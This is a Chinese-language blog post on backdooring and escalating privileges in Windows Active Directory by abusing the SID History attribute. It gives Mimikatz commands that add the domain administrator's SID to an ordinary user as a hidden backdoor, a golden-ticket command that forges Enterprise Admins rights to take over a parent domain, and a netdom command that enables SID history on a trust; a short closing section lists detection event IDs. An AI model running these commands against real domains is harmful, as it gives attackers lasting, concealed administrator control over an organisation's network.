域渗透 - 权限维持之 SID History
Windows AD Persistence    1534    0    2
t3ngyu   Windows AD Persistence

一、SID History属性介绍

        

        每个用户帐号都有一个关联的安全标识符(简称SID),SID用于跟踪安全主体在访问资源时的帐户与访问权限。为了支持AD牵移,微软设计了SID History属性,SID History允许另一个帐户的访问被有效的克隆到另一个帐户。

 

二、利用前提条件

       

        1. 当前域与其他域有信任关系,例如当前域与domain1.com和domian2.com存在双向信任

        2. 开启SID History,与其中任意一个林开启SID History信任,即可使用下面的方法

netdom trust  /d:domain1.com current.com /enablesidhistory:yes

 

三、同一域内的持久化利用

        

        SID History可以在同一个域中工作,即DomainA 中的常规用户帐户可以包含 DomainA SID,假如这个DomainA SID是一个特权帐户或组,那就可以在不作为域管 理员成员的情况下授予常规用户域管理员权限,相当于一个后门。

        * 普通的域用户user,已经获得其账号明文或者hash,并且该账号密码永不过期

 

        * 将域管理员的SID赋值给普通域用户user,Mimikatz执行如下:

privilege::debug
sid::query /sam:user # 查看用户信息,如:SID
sid::patch
sid::add /sam:user /new:S-1-5-21-2056922362-3943291772-3165935835-500  # RID 500 默认域管理员账号
sid::clear /sam:user # 清除SID History

 

PS:如果在执行 sid::patch 或者 sid::add 的过程中出现如下错误,则需要开启SID History(参考二)

 

        * 利用user账号(明文&hash)进行测试:

 

四、同一域树下的提权利用方式(Golden Ticket+SID History)

        

        对于同一个域树中的父子域来说,如果获得子域中的高权限用户,就可以修改将该用户的SID赋予企业管理员权限,这样对于父域来说该用户也是高权限用户。假设我们已经拿下子域sub.domain.com的域控权限,即可以利用该方法在父域提权。需要的前提信息:

    (1)子域的Krbtgt Hash 和 域SID

    (2)父域的SID

 

        * 正常情况下在子域控上直接访问父域控的C盘会被阻止

 

        * 使用Mimikatz 利用Golden Ticket+SID History的方式伪造企业管理员SID History(RID 519)

kerberos::golden /user:Administrator /krbtgt:Sub_HASH_KRBTGT /domain:sub.domain.local /sid:S-1-5-21-SUB-DOMAIN /sids:S-1-5-DOMAIN-519 /ptt

 

        如果目标系统有多级的域结构,可以通过该方法进行父域提权,进而拿到父域下的所有子域或者说是整个林。

 

五、林信任的的提权利用

       

        文章 [3] 提到一种利用林之间的双向信任关系结合SID History的进行提权方法:

        按照跨林信任的SID过滤规则(禁止500<=RID<=1000),我们可以仿造B林中的RID>1000,很多高权限的用户组都可以的RID都大于1000,如Domain Admins(3101)、 Exchange security groups和安装一些安全软件设置的组。

        但是本人实际测试的过程中,给两个林开启相互的SID History信任,给其中的A域用户添加B域的DnsAdmins 组的SID,本想测试能否利用dnscmd远程加载dll的方式进行利用,但是多次试验均失败。(后续解决)

 

 

六、如何判断已经开启了SID History?

        1. 导出活动目录查看用户是否有 sidHistory 属性

        2. 利用 ldapdomaindump 导出的domain_trusts.html 中 trustAttributes 字段 设置 TREAT_AS_EXTERNAL 标志(实际测试未出现)

        3. 日志记录:

        * 4765:SID历史记录被添加到一个帐户
        * 4766:尝试将SID历史记录添加到帐户的失败事件

 

 

结束语:

        本人也是一点一点的慢慢学然后总结,其中难免有一些总结错误的点,希望大家能指点出来,感谢 sky_Hb_K1 师傅指出上篇《横向渗透之 [RDP]》的错误点。


 

 

参考链接:

[1] Sneaky Active Directory Persistence #14: SID History

[2] Kerberos Golden Tickets are Now More Golden

[3] Active Directory forest trusts part 1 - How does SID filtering work?

[4] How to Disabling SID Filter Quarantining & Allowing SID History

 

 

 

 

 

 

 

 

 

觉得不错,点个赞?
Sign in to leave a comment.
No Leanote account ? Sign up now.
2 条评论
文章目录